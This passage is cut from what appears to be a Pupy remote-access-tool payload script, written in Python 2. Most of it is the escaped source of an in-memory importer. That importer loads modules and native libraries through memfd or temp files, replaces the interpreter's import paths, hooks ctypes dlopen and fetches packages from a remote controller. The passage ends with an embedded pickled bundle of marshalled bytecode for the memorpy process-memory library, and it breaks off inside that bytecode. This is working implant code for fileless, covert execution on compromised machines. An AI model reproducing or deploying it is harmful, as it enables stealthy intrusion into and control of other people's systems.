lambda: syscall(__NR_memfd_create, \\'heap\\', 0x1)\\n                        self.ready = True\\n                        return\\n\\n            for dir in [\\'/dev/shm\\', \\'/tmp\\', \\'/var/tmp\\', \\'/run\\']:\\n                try:\\n                    fd, name = mkstemp(dir=dir)\\n                except:\\n                    continue\\n\\n                try:\\n                    chmod(name, 0777)\\n                    self.dir = dir\\n                    self.ready = True\\n                    break\\n\\n                finally:\\n                    close(fd)\\n                    unlink(name)\\n\\n        def import_module(self, data, initfuncname, fullname, path):\\n            return self.load_library(data, fullname, dlopen=False, initfuncname=initfuncname)\\n\\n\\n        def load_library(self, data, fullname, dlopen=True, initfuncname=None):\\n            fd = -1\\n            closefd = True\\n\\n            result = False\\n\\n            if self.memfd:\\n                fd = self.memfd()\\n                if fd != -1:\\n                    name = \\'/proc/self/fd/{}\\'.format(fd)\\n                    closefd = False\\n\\n            if fd == -1:\\n                fd, name = mkstemp(dir=self.dir)\\n\\n            try:\\n                write(fd, data)\\n                if dlopen:\\n                    result = ctypes.CDLL(fullname)\\n                else:\\n                    if initfuncname:\\n                        result = imp.load_dynamic(initfuncname[4:], name)\\n                    else:\\n                        result = imp.load_dynamic(fullname, name)\\n\\n            except Exception as e:\\n                self.dir = None\\n                raise e\\n\\n            finally:\\n                if closefd:\\n                    close(fd)\\n                    unlink(name)\\n\\n            return result\\n\\n    _memimporter = MemImporter()\\n    builtin_memimporter = _memimporter.ready\\n\\nmodules = {}\\nremote_load_package = None\\nremote_print_error = None\\n\\ntry:\\n    import pupy\\n    if not (hasattr(pupy, \\'pseudo\\') and pupy.pseudo) and not modules:\\n        modules = pupy.get_modules()\\nexcept ImportError:\\n    pass\\n\\ndef get_module_files(fullname):\\n    \"\"\" return the file to load \"\"\"\\n    global modules\\n    path = fullname.replace(\\'.\\',\\'/\\')\\n\\n    files = [\\n        module for module in modules.iterkeys() \\\\\\n        if module.rsplit(\".\",1)[0] == path or any([\\n            path+\\'/__init__\\'+ext == module for ext in [\\n                \\'.py\\', \\'.pyc\\', \\'.pyo\\'\\n            ]\\n        ])\\n    ]\\n\\n    if len(files) > 1:\\n        # If we have more than one file, than throw away dlls\\n        files = [ x for x in files if not x.endswith(\\'.dll\\') ]\\n\\n    return files\\n\\ndef pupy_add_package(pkdic, compressed=False, name=None):\\n    \"\"\" update the modules dictionary to allow remote imports of new packages \"\"\"\\n    import cPickle\\n    import zlib\\n\\n    global modules\\n\\n    if compressed:\\n        pkdic = zlib.decompress(pkdic)\\n\\n    module = cPickle.loads(pkdic)\\n\\n    dprint(\\'Adding files: {}\\'.format(module.keys()))\\n\\n    modules.update(module)\\n\\n    if name:\\n        try:\\n            __import__(name)\\n        except:\\n            pass\\n\\n    gc.collect()\\n\\n    memtrace(name)\\n\\ndef has_module(name):\\n    return name in sys.modules\\n\\ndef invalidate_module(name):\\n    global modules\\n    global __debug\\n\\n    for item in modules.keys():\\n        if item == name or item.startswith(name+\\'.\\'):\\n            dprint(\\'Remove {} from pupyimporter.modules\\'.format(item))\\n            del modules[item]\\n\\n    for item in sys.modules.keys():\\n        if not (item == name or item.startswith(name+\\'.\\')):\\n            continue\\n\\n        mid = id(sys.modules[item])\\n\\n        dprint(\\'Remove {} from sys.modules\\'.format(item))\\n        del sys.modules[item]\\n\\n        if hasattr(pupy, \\'namespace\\'):\\n            dprint(\\'Remove {} from rpyc namespace\\'.format(item))\\n            pupy.namespace.__invalidate__(item)\\n\\n        if __debug:\\n            for obj in gc.get_objects():\\n                if id(obj) == mid:\\n                    dprint(\\'Module {} still referenced by {}\\'.format(\\n                        item, [ id(x) for x in gc.get_referrers(obj) ]\\n                    ))\\n\\n    gc.collect()\\n\\ndef native_import(name):\\n    __import__(name)\\n\\nclass PupyPackageLoader:\\n    def __init__(self, fullname, contents, extension, is_pkg, path):\\n        self.fullname = fullname\\n        self.contents = contents\\n        self.extension = extension\\n        self.is_pkg=is_pkg\\n        self.path=path\\n        self.archive=\"\" #need this attribute\\n\\n    def load_module(self, fullname):\\n        imp.acquire_lock()\\n        try:\\n            dprint(\\'loading module {}\\'.format(fullname))\\n            if fullname in sys.modules:\\n                return sys.modules[fullname]\\n\\n            mod=None\\n            c=None\\n            if self.extension==\"py\":\\n                mod = imp.new_module(fullname)\\n                mod.__name__ = fullname\\n                mod.__file__ = \\'pupy://{}\\'.format(self.path)\\n                if self.is_pkg:\\n                    mod.__path__ = [mod.__file__.rsplit(\\'/\\',1)[0]]\\n                    mod.__package__ = fullname\\n                else:\\n                    mod.__package__ = fullname.rsplit(\\'.\\', 1)[0]\\n                code = compile(self.contents, mod.__file__, \"exec\")\\n                sys.modules[fullname] = mod\\n                exec (code, mod.__dict__)\\n\\n            elif self.extension in [\"pyc\",\"pyo\"]:\\n                mod = imp.new_module(fullname)\\n                mod.__name__ = fullname\\n                mod.__file__ = \\'pupy://{}\\'.format(self.path)\\n                if self.is_pkg:\\n                    mod.__path__ = [mod.__file__.rsplit(\\'/\\',1)[0]]\\n                    mod.__package__ = fullname\\n                else:\\n                    mod.__package__ = fullname.rsplit(\\'.\\', 1)[0]\\n                sys.modules[fullname] = mod\\n                exec (marshal.loads(self.contents[8:]), mod.__dict__)\\n\\n            elif self.extension in (\"dll\", \"pyd\", \"so\"):\\n                initname = \"init\" + fullname.rsplit(\".\",1)[-1]\\n                path = self.fullname.rsplit(\\'.\\', 1)[0].replace(\".\",\\'/\\') + \".\" + self.extension\\n                dprint(\\'Loading {} from memory\\'.format(fullname))\\n                dprint(\\'init={} fullname={} path={}\\'.format(initname, fullname, path))\\n                mod = _memimporter.import_module(self.contents, initname, fullname, path)\\n                if mod:\\n                    mod.__name__=fullname\\n                    mod.__file__ = \\'pupy://{}\\'.format(self.path)\\n                    mod.__package__ = fullname.rsplit(\\'.\\',1)[0]\\n                    sys.modules[fullname] = mod\\n\\n            try:\\n                memtrace(fullname)\\n            except Exception, e:\\n                dprint(\\'memtrace failed: {}\\'.format(e))\\n\\n\\n        except Exception as e:\\n\\n            if fullname in sys.modules:\\n                del sys.modules[fullname]\\n\\n            import traceback\\n            exc_type, exc_value, exc_traceback = sys.exc_info()\\n            sys.stderr.write(\\'Error importing %s : %s\\'%(fullname, traceback.format_exc()))\\n            dprint(\\'PupyPackageLoader: \\'\\n                       \\'Error while loading package {} ({}) : {}\\'.format(\\n                           fullname, self.path, str(e)))\\n            if remote_print_error:\\n                try:\\n                    remote_print_error(\"Error loading package {} ({} pkg={}) : {}\".format(\\n                        fullname, self.path, self.is_pkg, str(traceback.format_exc())))\\n                except:\\n                    pass\\n\\n            raise e\\n\\n        finally:\\n            self.contents = None\\n            imp.release_lock()\\n            gc.collect()\\n\\n        return sys.modules[fullname]\\n\\nclass PupyPackageFinderImportError(ImportError):\\n    pass\\n\\nclass PupyPackageFinder(object):\\n    def __init__(self, path=None):\\n        if path and not path.startswith(\\'pupy://\\'):\\n            raise PupyPackageFinderImportError()\\n\\n    def find_module(self, fullname, path=None, second_pass=False):\\n        global modules\\n        imp.acquire_lock()\\n        selected = None\\n\\n        try:\\n            files=[]\\n            if fullname in ( \\'pywintypes\\', \\'pythoncom\\' ):\\n                fullname = fullname + \\'27.dll\\'\\n                files = [ fullname ]\\n            else:\\n                files = get_module_files(fullname)\\n\\n            dprint(\\'find_module({},{}) in {})\\'.format(fullname, path, files))\\n            if not builtin_memimporter:\\n                files = [\\n                    f for f in files if not f.lower().endswith((\\'.pyd\\',\\'.dll\\',\\'.so\\'))\\n                ]\\n\\n            if not files:\\n                dprint(\\'{} not found in {}: not in {} files\\'.format(\\n                    fullname, files, len(files)))\\n\\n                if remote_load_package and not second_pass and not fullname.startswith(\\'exposed_\\'):\\n                    parts = fullname.split(\\'.\\')[:-1]\\n\\n                    for i in xrange(len(parts)):\\n                        part = \\'.\\'.join(parts[:i+1])\\n                        if part in modules or part in sys.modules:\\n                            return None\\n\\n                    try:\\n                        if remote_load_package(fullname):\\n                            return self.find_module(fullname, second_pass=True)\\n                    except Exception as e:\\n                        dprint(\\'Exception: {}\\'.format(e))\\n\\n                return None\\n\\n            criterias = [\\n                lambda f: any([\\n                    f.endswith(\\'/__init__\\'+ext) for ext in [\\n                        \\'.pyo\\', \\'.pyc\\', \\'.py\\'\\n                    ]\\n                ]),\\n                lambda f: any ([\\n                    f.endswith(ext) for ext in [\\n                        \\'.pyo\\', \\'.pyc\\'\\n                    ]\\n                ]),\\n                lambda f: any ([\\n                    f.endswith(ext) for ext in [\\n                        \\'.pyd\\', \\'.py\\', \\'.so\\', \\'.dll\\'\\n                    ]\\n                ]),\\n            ]\\n\\n            selected = None\\n            for criteria in criterias:\\n                for pyfile in files:\\n                    if criteria(pyfile):\\n                        selected = pyfile\\n                        break\\n\\n            if not selected:\\n                return None\\n\\n            content = modules[selected]\\n            dprint(\\'{} found in \"{}\" / size = {}\\'.format(fullname, selected, len(content)))\\n\\n            extension = selected.rsplit(\".\",1)[1].strip().lower()\\n            is_pkg = any([\\n                selected.endswith(\\'/__init__\\'+ext) for ext in [ \\'.pyo\\', \\'.pyc\\', \\'.py\\' ]\\n            ])\\n\\n            dprint(\\'--> Loading {} ({}) package={}\\'.format(\\n                fullname, selected, is_pkg))\\n\\n            return PupyPackageLoader(fullname, content, extension, is_pkg, selected)\\n\\n        except Exception as e:\\n            dprint(\\'--> Loading {} failed: {}\\'.format(fullname, e))\\n            raise e\\n\\n        finally:\\n            # Don\\'t delete network.conf module\\n            if selected and not selected.startswith(\\'network/conf\\'):\\n                dprint(\\'XXX {} remove {} from bundle / count = {}\\'.format(fullname, selected, len(modules)))\\n                del modules[selected]\\n\\n            imp.release_lock()\\n            gc.collect()\\n\\ndef register_package_request_hook(hook):\\n    global remote_load_package\\n    remote_load_package = hook\\n\\ndef register_package_error_hook(hook):\\n    global remote_print_error\\n    import rpyc\\n    remote_print_error = rpyc.async(hook)\\n\\ndef unregister_package_error_hook():\\n    global remote_print_error\\n    remote_print_error = None\\n\\ndef unregister_package_request_hook():\\n    global remote_load_package\\n    remote_load_package = None\\n\\ndef install(debug=None, trace=False):\\n    global __debug\\n    global __trace\\n    global modules\\n\\n    #if debug:\\n    #    __debug = True\\n\\n    if trace:\\n        __trace = trace\\n\\n    gc.set_threshold(128)\\n\\n    if allow_system_packages:\\n        sys.path_hooks.append(PupyPackageFinder)\\n        sys.path.append(\\'pupy://\\')\\n    else:\\n        sys.meta_path = []\\n        sys.path = []\\n        sys.path_hooks = []\\n        sys.path_hooks = [PupyPackageFinder]\\n        sys.path.append(\\'pupy://\\')\\n        sys.path_importer_cache.clear()\\n\\n        import platform\\n        platform._syscmd_uname = lambda *args, **kwargs: \\'\\'\\n        platform.architecture = lambda *args, **kwargs: (\\n            \\'32bit\\' if pupy.get_arch() == \\'x86\\' else \\'64bit\\', \\'\\'\\n        )\\n\\n    try:\\n        if __trace:\\n            __trace = __import__(\\'tracemalloc\\')\\n\\n        if __debug and __trace:\\n            dprint(\\'tracemalloc enabled\\')\\n            __trace.start(10)\\n\\n    except Exception, e:\\n        dprint(\\'tracemalloc init failed: {}\\'.format(e))\\n        __trace = None\\n\\n    import ctypes\\n    import ctypes.util\\n    import os\\n\\n    ctypes._system_dlopen = ctypes._dlopen\\n    ctypes.util._system_find_library = ctypes.util.find_library\\n\\n    def pupy_make_path(name):\\n        if not name:\\n            return\\n        if \\'pupy:\\' in name:\\n            name = name[name.find(\\'pupy:\\')+5:]\\n            name = os.path.relpath(name)\\n            name = \\'/\\'.join([\\n                x for x in name.split(os.path.sep) if x and not x in ( \\'.\\', \\'..\\' )\\n            ])\\n\\n        return name\\n\\n    def pupy_find_library(name):\\n        pupyized = pupy_make_path(name)\\n        if pupyized in modules:\\n            dprint(\"FIND LIBRARY: {} => {}\".format(name, pupyized))\\n            return pupyized\\n        else:\\n            return ctypes.util._system_find_library(name)\\n\\n    def pupy_dlopen(name, *args, **kwargs):\\n        dprint(\"ctypes dlopen: {}\".format(name))\\n        from_pupy = False\\n        name = pupy_make_path(name)\\n        dprint(\"ctypes dlopen / pupyized: {}\".format(name))\\n\\n        if name in modules:\\n            if hasattr(_memimporter, \\'load_library\\'):\\n                try:\\n                    return _memimporter.load_library(modules[name], name)\\n                except:\\n                    pass\\n            elif hasattr(pupy, \\'load_dll\\'):\\n                try:\\n                    return pupy.load_dll(name, modules[name])\\n                except:\\n                    pass\\n\\n        if not from_pupy:\\n            return ctypes._system_dlopen(name, *args, **kwargs)\\n\\n\\n    if \\'pupy\\' in sys.modules and hasattr(pupy, \\'find_function_address\\'):\\n        ctypes.CDLL_ORIG = ctypes.CDLL\\n\\n        class PupyCDLL(ctypes.CDLL_ORIG):\\n            def __init__(self, name, **kwargs):\\n                super(PupyCDLL, self).__init__(name, **kwargs)\\n                self._FuncPtr_orig = self._FuncPtr\\n                self._FuncPtr = self._find_function_address\\n                self._name = pupy_make_path(self._name)\\n                dprint(\\'CDLL({})\\'.format(self._name))\\n\\n            def _find_function_address(self, search_tuple):\\n                name, handle = search_tuple\\n                dprint(\"PupyCDLL._find_function_address: {}\".format(name))\\n                if not type(name) in (str, unicode):\\n                    return self._FuncPtr_orig(search_tuple)\\n                else:\\n                    addr = pupy.find_function_address(self._name, name)\\n                    dprint(\"PupyCDLL._find_function_address: {} = {}\".format(name, addr))\\n                    if addr:\\n                        return self._FuncPtr_orig(addr)\\n                    else:\\n                        return self._FuncPtr_orig(search_tuple)\\n\\n        ctypes.CDLL = PupyCDLL\\n\\n    ctypes._dlopen = pupy_dlopen\\n    ctypes.util.find_library = pupy_find_library\\n\\n    #if \\'win\\' in sys.platform:\\n    #    import pywintypes\\n    if __debug:\\n        print \\'Bundled modules:\\'\\n        for module in modules.iterkeys():\\n            print \\'+ {}\\'.format(module)\\n' in mod.__dict__\nsys.modules[fullname]=mod\n    \n\nimport pupyimporter\npupyimporter.install()\npupyimporter.pupy_add_package('(dp1\\nS\\'memorpy/Process.pyc\\'\\np2\\nS\\'\\\\x03\\\\xf3\\\\r\\\\ng\\\\x18\\\\x05Yc\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x02\\\\x00\\\\x00\\\\x00@\\\\x00\\\\x00\\\\x00sn\\\\x00\\\\x00\\\\x00d\\\\x00\\\\x00d\\\\x01\\\\x00l\\\\x00\\\\x00Z\\\\x00\\\\x00d\\\\x00\\\\x00d\\\\x02\\\\x00l\\\\x01\\\\x00Te\\\\x00\\\\x00j\\\\x02\\\\x00d\\\\x03\\\\x00k\\\\x02\\\\x00r8\\\\x00d\\\\x00\\\\x00d\\\\x04\\\\x00l\\\\x03\\\\x00m\\\\x03\\\\x00Z\\\\x04\\\\x00\\\\x01n2\\\\x00e\\\\x00\\\\x00j\\\\x02\\\\x00d\\\\x05\\\\x00k\\\\x02\\\\x00rZ\\\\x00d\\\\x00\\\\x00d\\\\x06\\\\x00l\\\\x05\\\\x00m\\\\x05\\\\x00Z\\\\x04\\\\x00\\\\x01n\\\\x10\\\\x00d\\\\x00\\\\x00d\\\\x07\\\\x00l\\\\x06\\\\x00m\\\\x06\\\\x00Z\\\\x04\\\\x00\\\\x01d\\\\x01\\\\x00S(\\\\x08\\\\x00\\\\x00\\\\x00i\\\\xff\\\\xff\\\\xff\\\\xffN(\\\\x01\\\\x00\\\\x00\\\\x00t\\\\x01\\\\x00\\\\x00\\\\x00*t\\\\x05\\\\x00\\\\x00\\\\x00win32(\\\\x01\\\\x00\\\\x00\\\\x00t\\\\n\\\\x00\\\\x00\\\\x00WinProcesst\\\\x06\\\\x00\\\\x00\\\\x00darwin(\\\\x01\\\\x00\\\\x00\\\\x00t\\\\n\\\\x00\\\\x00\\\\x00OSXProcess(\\\\x01\\\\x00\\\\x00\\\\x00t\\\\n\\\\x00\\\\x00\\\\x00LinProcess(\\\\x07\\\\x00\\\\x00\\\\x00t\\\\x03\\\\x00\\\\x00\\\\x00syst\\\\x0b\\\\x00\\\\x00\\\\x00BaseProcesst\\\\x08\\\\x00\\\\x00\\\\x00platformR\\\\x02\\\\x00\\\\x00\\\\x00t\\\\x07\\\\x00\\\\x00\\\\x00ProcessR\\\\x04\\\\x00\\\\x00\\\\x00R\\\\x05\\\\x00\\\\x00\\\\x00(\\\\x00\\\\x00\\\\x00\\\\x00(\\\\x00\\\\x00\\\\x00\\\\x00(\\\\x00\\\\x00\\\\x00\\\\x00sO\\\\x00\\\\x00\\\\x00/usr/local/lib/python2.7/dist-packages/memorpy-1.6-py2.7.egg/memorpy/Process.pyt\\\\x08\\\\x00\\\\x00\\\\x00<module>\\\\x04\\\\x00\\\\x00\\\\x00s\\\\x0c\\\\x00\\\\x00\\\\x00\\\\x0c\\\\x01\\\\n\\\\x01\\\\x0f\\\\x01\\\\x13\\\\x01\\\\x0f\\\\x01\\\\x13\\\\x02\\'\\np3\\nsS\\'memorpy/__init__.pyc\\'\\np4\\nS\\'\\\\x03\\\\xf3\\\\r\\\\ng\\\\x18\\\\x05Yc\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x02\\\\x00\\\\x00\\\\x00@\\\\x00\\\\x00\\\\x00s\\\\x96\\\\x00\\\\x00\\\\x00d\\\\x00\\\\x00d\\\\x01\\\\x00l\\\\x00\\\\x00Z\\\\x00\\\\x00e\\\\x00\\\\x00j\\\\x01\\\\x00d\\\\x02\\\\x00\\\\x83\\\\x01\\\\x00Z\\\\x02\\\\x00e\\\\x02\\\\x00j\\\\x03\\\\x00e\\\\x00\\\\x00j\\\\x04\\\\x00\\\\x83\\\\x01\\\\x00\\\\x01e\\\\x00\\\\x00j\\\\x05\\\\x00\\\\x83\\\\x00\\\\x00Z\\\\x06\\\\x00e\\\\x06\\\\x00j\\\\x03\\\\x00e\\\\x00\\\\x00j\\\\x04\\\\x00\\\\x83\\\\x01\\\\x00\\\\x01e\\\\x02\\\\x00j\\\\x07\\\\x00e\\\\x06\\\\x00\\\\x83\\\\x01\\\\x00\\\\x01d\\\\x00\\\\x00d\\\\x01\\\\x00l\\\\x08\\\\x00Z\\\\x08\\\\x00d\\\\x00\\\\x00d\\\\x03\\\\x00l\\\\t\\\\x00Td\\\\x00\\\\x00d\\\\x03\\\\x00l\\\\n\\\\x00Td\\\\x00\\\\x00d\\\\x03\\\\x00l\\\\x0b\\\\x00Td\\\\x00\\\\x00d\\\\x03\\\\x00l\\\\x0c\\\\x00Td\\\\x00\\\\x00d\\\\x03\\\\x00l\\\\r\\\\x00Td\\\\x01\\\\x00S(\\\\x04\\\\x00\\\\x00\\\\x00i\\\\xff\\\\xff\\\\xff\\\\xffNt\\\\x07\\\\x00\\\\x00\\\\x00memorpy(\\\\x01\\\\x00\\\\x00\\\\x00t\\\\x01\\\\x00\\\\x00\\\\x00*(\\\\x0e\\\\x00\\\\x00\\\\x00t\\\\x07\\\\x00\\\\x00\\\\x00loggingt\\\\t\\\\x00\\\\x00\\\\x00getLoggert\\\\x06\\\\x00\\\\x00\\\\x00loggert\\\\x08\\\\x00\\\\x00\\\\x00setLevelt\\\\x07\\\\x00\\\\x00\\\\x00WARNINGt\\\\r\\\\x00\\\\x00\\\\x00StreamHandlert\\\\x02\\\\x00\\\\x00\\\\x00cht\\\\n\\\\x00\\\\x00\\\\x00addHandlert\\\\x03\\\\x00\\\\x00\\\\x00syst\\\\t\\\\x00\\\\x00\\\\x00MemWorkert\\\\x07\\\\x00\\\\x00\\\\x00Locatort\\\\x07\\\\x00\\\\x00\\\\x00Addresst\\\\x07\\\\x00\\\\x00\\\\x00Processt\\\\x05\\\\x00\\\\x00\\\\x00utils(\\\\x00\\\\x00\\\\x00\\\\x00(\\\\x00\\\\x00\\\\x00\\\\x00(\\\\x00\\\\x00\\\\x00\\\\x00sP\\\\x00\\\\x00\\\\x00/usr/local/lib/python2.7/dist-packages/memorpy-1.6-py2.7.egg/memorpy/__init__.pyt\\\\x08\\\\x00\\\\x00\\\\x00<module>\\\\x12\\\\x00\\\\x00\\\\x00s\\\\x16\\\\x00\\\\x00\\\\x00\\\\x0c\\\\x01\\\\x0f\\\\x01\\\\x10\\\\x01\\\\x0c\\\\x01\\\\x10\\\\x01\\\\r\\\\x02\\\\x0c\\\\x01\\\\n\\\\x01\\\\n\\\\x01\\\\n\\\\x01\\\\n\\\\x01\\'\\np5\\nsS\\'memorpy/Address.pyc\\'\\np6\\nS\\'\\\\x03\\\\xf3\\\\r\\\\ng\\\\x18\\\\x05Yc\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x03\\\\x00\\\\x00\\\\x00@\\\\x00\\\\x00\\\\x00s<\\\\x00\\\\x00\\\\x00d\\\\x00\\\\x00d\\\\x01\\\\x00l\\\\x00\\\\x00Z\\\\x00\\\\x00d\\\\x02\\\\x00e\\\\x01\\\\x00f\\\\x01\\\\x00d\\\\x03\\\\x00\\\\x84\\\\x00\\\\x00\\\\x83\\\\x00\\\\x00YZ\\\\x02\\\\x00d\\\\x04\\\\x00e\\\\x03\\\\x00f\\\\x01\\\\x00d\\\\x05\\\\x00\\\\x84\\\\x00\\\\x00\\\\x83\\\\x00\\\\x00YZ\\\\x04\\\\x00d\\\\x01\\\\x00S(\\\\x06\\\\x00\\\\x00\\\\x00i\\\\xff\\\\xff\\\\xff\\\\xffNt\\\\x10\\\\x00\\\\x00\\\\x00AddressExceptionc\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x01\\\\x00\\\\x00\\\\x00B\\\\x00\\\\x00\\\\x00s\\\\x08\\\\x00\\\\x00\\\\x00e\\\\x00\\\\x00Z\\\\x01\\\\x00RS(\\\\x00\\\\x00\\\\x00\\\\x00(\\\\x02\\\\x00\\\\x00\\\\x00t\\\\x08\\\\x00\\\\x00\\\\x00__name__t\\\\n\\\\x00\\\\x00\\\\x00__module__(\\\\x00\\\\x00\\\\x00\\\\x00(\\\\x00\\\\x00\\\\x00\\\\x00(\\\\x00\\\\x00\\\\x00\\\\x00sO\\\\x00\\\\x00\\\\x00/usr/local/lib/python2.7/dist-packages/memorpy-1.6-py2.7.egg/memorpy/Address.pyR\\\\x00\\\\x00\\\\x00\\\\x00\\\\x13\\\\x00\\\\x00\\\\x00s\\\\x02\\\\x00\\\\x00\\\\x00\\\\x06\\\\x01t\\\\x07\\\\x00\\\\x00\\\\x00Addressc\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x04\\\\x00\\\\x00\\\\x00B\\\\x00\\\\x00\\\\x00s\\\\xe3\\\\x00\\\\x00\\\\x00e\\\\x00\\\\x00Z\\\\x01\\\\x00d\\\\x00\\\\x00Z\\\\x02\\\\x00d\\\\x01\\\\x00d\\\\x02\\\\x00\\\\x84\\\\x01\\\\x00Z\\\\x03\\\\x00d\\\\x1b\\\\x00d\\\\x1b\\\\x00d\\\\x03\\\\x00d\\\\x04\\\\x00\\\\x84\\\\x03\\\\x00Z\\\\x05\\\\x00d\\\\x1b\\\\x00d\\\\x05\\\\x00\\\\x84\\\\x01\\\\x00Z\\\\x06\\\\x00d\\\\x06\\\\x00\\\\x84\\\\x00\\\\x00Z\\\\x07\\\\x00d\\\\x07\\\\x00\\\\x84\\\\x00\\\\x00Z\\\\x08\\\\x00d\\\\x08\\\\x00d\\\\t\\\\x00d\\\\n\\\\x00d\\\\x0b\\\\x00\\\\x84\\\\x03\\\\x00Z\\\\t\\\\x00d\\\\x0c\\\\x00\\\\x84\\\\x00\\\\x00Z\\\\n\\\\x00d\\\\r\\\\x00\\\\x84\\\\x00\\\\x00Z\\\\x0b\\\\x00d\\\\x0e\\\\x00\\\\x84\\\\x00\\\\x00Z\\\\x0c\\\\x00d\\\\x0f\\\\x00\\\\x84\\\\x00\\\\x00Z\\\\r\\\\x00d\\\\x10\\\\x00\\\\x84\\\\x00\\\\x00Z\\\\x0e\\\\x00d\\\\x11\\\\x00\\\\x84\\\\x00\\\\x00Z\\\\x0f\\\\x00d\\\\x12\\\\x00\\\\x84\\\\x00\\\\x00Z\\\\x10\\\\x00d\\\\x13\\\\x00\\\\x84\\\\x00\\\\x00Z\\\\x11\\\\x00d\\\\x14\\\\x00\\\\x84\\\\x00\\\\x00Z\\\\x12\\\\x00d\\\\x15\\\\x00\\\\x84\\\\x00\\\\x00Z\\\\x13\\\\x00d\\\\x16\\\\x00\\\\x84\\\\x00\\\\x00Z\\\\x14\\\\x00d\\\\x17\\\\x00\\\\x84\\\\x00\\\\x00Z\\\\x15\\\\x00d\\\\x18\\\\x00\\\\x84\\\\x00\\\\x00Z\\\\x16\\\\x00d\\\\x19\\\\x00\\\\x84\\\\x00\\\\x00Z\\\\x17\\\\x00d\\\\x1a\\\\x00\\\\x84\\\\x00\\\\x00Z\\\\x18\\\\x00RS(\\\\x1c\\\\x00\\\\x00\\\\x00sF\\\\x00\\\\x00\\\\x00 this class is used to have better representation of memory addresses t\\\\x04\\\\x00\\\\x00\\\\x00uintc\\\\x04\\\\x00\\\\x00\\\\x00\\\\x04\\\\x00\\\\x00\\\\x00\\\\x02\\\\x00\\\\x00\\\\x00C\\\\x00\\\\x00\\\\x00s.\\\\x00\\\\x00\\\\x00t\\\\x00\\\\x00|\\\\x01\\\\x00\\\\x83\\\\x01\\\\x00|\\\\x00\\\\x00_\\\\x01\\\\x00|\\\\x02\\\\x00|\\\\x00\\\\x00_\\\\x02\\\\x00|\\\\x03\\\\x00|\\\\x00\\\\x00_\\\\x03\\\\x00d\\\\x00\\\\x00|\\\\x00\\\\x00_\\\\x05\\\\x00d\\\\x00\\\\x00S(\\\\x01\\\\x00\\\\x00\\\\x00N(\\\\x06\\\\x00\\\\x00\\\\x00t\\\\x03\\\\x00\\\\x00\\\\x00intt\\\\x05\\\\x00\\\\x00\\\\x00valuet\\\\x07\\\\x00\\\\x00\\\\x00processt\\\\x0c\\\\x00\\\\x00\\\\x00default_typet\\\\x04\\\\x00\\\\x00\\\\x00Nonet\\\\r\\\\x00\\\\x00\\\\x00symbolic_name(\\\\x04\\\\x00\\\\x00\\\\x00t\\\\x04\\\\x00\\\\x00\\\\x00selfR\\\\x06\\\\x00\\\\x00\\\\x00R\\\\x07\\\\x00\\\\x00\\\\x00R\\\\x08\\\\x00\\\\x00\\\\x00(\\\\x00\\\\x00\\\\x00\\\\x00(\\\\x00\\\\x00\\\\x00\\\\x00sO\\\\x00\\\\x00\\\\x00/usr/local/lib/python2.7/dist-packages/memorpy-1.6-py2.7.egg/memorpy/Address.pyt\\\\x08\\\\x00\\\\x00\\\\x00__init__\\\\x1a\\\\x00\\\\x00\\\\x00s\\\\x08\\\\x00\\\\x00\\\\x00\\\\x00\\\\x01\\\\x0f\\\\x01\\\\t\\\\x01\\\\t\\\\x01t\\\\x05\\\\x00\\\\x00\\\\x00raisec\\\\x04\\\\x00\\\\x00\\\\x00\\\\x04\\\\x00\\\\x00\\\\x00\\\\x08\\\\x00\\\\x00\\\\x00C\\\\x00\\\\x00\\\\x00s\\\\x99\\\\x00\\\\x00\\\\x00|\\\\x02\\\\x00d\\\\x00\\\\x00k\\\\x08\\\\x00r9\\\\x00y \\\\x00t\\\\x01\\\\x00|\\\\x01\\\\x00\\\\x83\\\\x01\\\\x00\\\\x01t\\\\x01\\\\x00|\\\\x01\\\\x00\\\\x83\\\\x01\\\\x00}\\\\x02\\\\x00d\\\\x00\\\\x00}\\\\x01\\\\x00Wq9\\\\x00\\\\x01\\\\x01\\\\x01q9\\\\x00Xn\\\\x00\\\\x00|\\\\x01\\\\x00sK\\\\x00|\\\\x00\\\\x00j\\\\x02\\\\x00}\\\\x01\\\\x00n\\\\x00\\\\x00|\\\\x02\\\\x00sp\\\\x00|\\\\x00\\\\x00j\\\\x03\\\\x00j\\\\x04\\\\x00|\\\\x00\\\\x00j\\\\x05\\\\x00d\\\\x01\\\\x00|\\\\x01\\\\x00d\\\\x02\\\\x00|\\\\x03\\\\x00\\\\x83\\\\x01\\\\x02S|\\\\x00\\\\x00j\\\\x03\\\\x00j\\\\x04\\\\x00|\\\\x00\\\\x00j\\\\x05\\\\x00d\\\\x01\\\\x00|\\\\x01\\\\x00d\\\\x03\\\\x00|\\\\x02\\\\x00d\\\\x02\\\\x00|\\\\x03\\\\x00\\\\x83\\\\x01\\\\x03Sd\\\\x00\\\\x00S(\\\\x04\\\\x00\\\\x00\\\\x00Nt\\\\x04\\\\x00\\\\x00\\\\x00typet\\\\x06\\\\x00\\\\x00\\\\x00errorst\\\\x06\\\\x00\\\\x00\\\\x00maxlen(\\\\x06\\\\x00\\\\x00\\\\x00R\\\\t\\\\x00\\\\x00\\\\x00R\\\\x05\\\\x00\\\\x00\\\\x00R\\\\x08\\\\x00\\\\x00\\\\x00R\\\\x07\\\\x00\\\\x00\\\\x00t\\\\x04\\\\x00\\\\x00\\\\x00readR\\\\x06\\\\x00\\\\x00\\\\x00(\\\\x04\\\\x00\\\\x00\\\\x00R\\\\x0b\\\\x00\\\\x00\\\\x00R\\\\x0e\\\\x00\\\\x00\\\\x00R\\\\x10\\\\x00\\\\x00\\\\x00R\\\\x0f\\\\x00\\\\x00\\\\x00(\\\\x00\\\\x00\\\\x00\\\\x00(\\\\x00\\\\x00\\\\x00\\\\x00sO\\\\x00\\\\x00\\\\x00/usr/local/lib/python2.7/dist-packages/memorpy-1.6-py2.7.egg/memorpy/Address.pyR\\\\x11\\\\x00\\\\x00\\\\x00 